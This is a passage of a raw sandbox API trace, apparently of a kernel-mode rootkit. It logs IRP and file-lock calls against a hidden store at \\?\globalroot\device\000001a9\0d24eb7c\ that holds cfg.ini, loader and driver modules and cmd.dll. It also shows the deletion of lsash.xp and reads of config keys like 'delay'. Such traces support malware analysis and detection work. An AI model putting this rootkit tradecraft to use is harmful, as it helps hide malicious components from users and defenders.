MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.203] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.203] IdePortDispatch () returned 0x103 [0119.203] KeWaitForMutexObject () returned 0x0 [0119.203] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.203] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.203] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.203] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.203] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.203] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.203] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.203] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.203] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.203] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.203] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.203] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.203] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.203] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.203] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.203] KeLeaveCriticalRegion () [0119.203] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.203] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.203] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.203] KeEnterCriticalRegion () [0119.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.203] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.204] IdePortDispatch () returned 0x103 [0119.204] KeWaitForMutexObject () returned 0x0 [0119.204] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.204] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.204] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.204] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.204] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.204] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.204] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.204] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.204] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.204] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.204] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.204] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.204] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.204] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.204] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.204] KeLeaveCriticalRegion () [0119.204] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.204] ReleaseMutex (hMutex=0x100) returned 1 [0119.204] Sleep (dwMilliseconds=0x2bf20) [0119.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a3e8230, dwHighDateTime=0x1d24fa4)) [0119.208] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.208] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.211] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.211] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.211] KeEnterCriticalRegion () [0119.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.211] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.211] IdePortDispatch () returned 0x103 [0119.211] KeWaitForMutexObject () returned 0x0 [0119.212] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.212] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.212] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.212] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.212] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.212] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdb6e0 [0119.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.212] KeLeaveCriticalRegion () [0119.212] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.212] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.212] KeEnterCriticalRegion () [0119.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.212] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.212] KeLeaveCriticalRegion () [0119.212] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.212] KeEnterCriticalRegion () [0119.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.212] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.212] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.212] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.212] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.212] IdePortDispatch () returned 0x103 [0119.212] KeWaitForMutexObject () returned 0x0 [0119.212] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.212] KeLeaveCriticalRegion () [0119.212] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.212] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.212] KeEnterCriticalRegion () [0119.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.212] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb3000 [0119.212] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.212] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.212] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.212] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.213] IdePortDispatch () returned 0x103 [0119.213] KeWaitForMutexObject () returned 0x0 [0119.213] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.213] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.213] IdePortDispatch () returned 0x103 [0119.213] KeWaitForMutexObject () returned 0x0 [0119.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.213] KeLeaveCriticalRegion () [0119.213] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.213] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.214] KeEnterCriticalRegion () [0119.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.214] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.214] KeLeaveCriticalRegion () [0119.214] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.214] KeEnterCriticalRegion () [0119.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.214] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.214] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa8800, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.214] KeLeaveCriticalRegion () [0119.214] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.214] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.214] KeEnterCriticalRegion () [0119.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.214] ExFreePoolWithTag (P=0xfffffa8003bdb6e0, Tag=0x0) [0119.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.214] KeLeaveCriticalRegion () [0119.214] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.214] ReleaseMutex (hMutex=0xf0) returned 1 [0119.214] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.217] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.217] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.217] KeEnterCriticalRegion () [0119.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.217] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.217] IdePortDispatch () returned 0x103 [0119.217] KeWaitForMutexObject () returned 0x0 [0119.217] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.217] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.217] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.217] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.217] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.217] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039ca370 [0119.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.217] KeLeaveCriticalRegion () [0119.217] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.217] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.217] KeEnterCriticalRegion () [0119.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.218] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.218] KeLeaveCriticalRegion () [0119.218] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.218] KeEnterCriticalRegion () [0119.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.218] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.218] IdePortDispatch () returned 0x103 [0119.218] KeWaitForMutexObject () returned 0x0 [0119.218] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.218] KeLeaveCriticalRegion () [0119.218] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.218] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.218] KeEnterCriticalRegion () [0119.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.218] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb5000 [0119.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.218] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.218] IdePortDispatch () returned 0x103 [0119.218] KeWaitForMutexObject () returned 0x0 [0119.218] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.218] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.219] IdePortDispatch () returned 0x103 [0119.219] KeWaitForMutexObject () returned 0x0 [0119.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.219] KeLeaveCriticalRegion () [0119.219] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.219] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.219] KeEnterCriticalRegion () [0119.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.219] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.219] KeLeaveCriticalRegion () [0119.219] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.219] KeEnterCriticalRegion () [0119.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.219] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.219] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbec0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.219] KeLeaveCriticalRegion () [0119.219] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.219] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.219] KeEnterCriticalRegion () [0119.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.219] ExFreePoolWithTag (P=0xfffffa80039ca370, Tag=0x0) [0119.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.220] KeLeaveCriticalRegion () [0119.220] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.220] ReleaseMutex (hMutex=0xf0) returned 1 [0119.220] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.220] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.220] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.220] KeEnterCriticalRegion () [0119.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.220] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.220] IdePortDispatch () returned 0x103 [0119.220] KeWaitForMutexObject () returned 0x0 [0119.221] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.221] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.221] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.221] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.221] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.221] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdb6e0 [0119.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.221] KeLeaveCriticalRegion () [0119.221] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.221] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.221] KeEnterCriticalRegion () [0119.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.221] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.221] KeLeaveCriticalRegion () [0119.221] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.221] KeEnterCriticalRegion () [0119.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.221] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.221] IdePortDispatch () returned 0x103 [0119.221] KeWaitForMutexObject () returned 0x0 [0119.221] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.221] KeLeaveCriticalRegion () [0119.221] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.221] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.221] KeEnterCriticalRegion () [0119.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.221] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb6000 [0119.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.221] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.221] IdePortDispatch () returned 0x103 [0119.222] KeWaitForMutexObject () returned 0x0 [0119.222] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.222] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.222] IdePortDispatch () returned 0x103 [0119.222] KeWaitForMutexObject () returned 0x0 [0119.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.222] 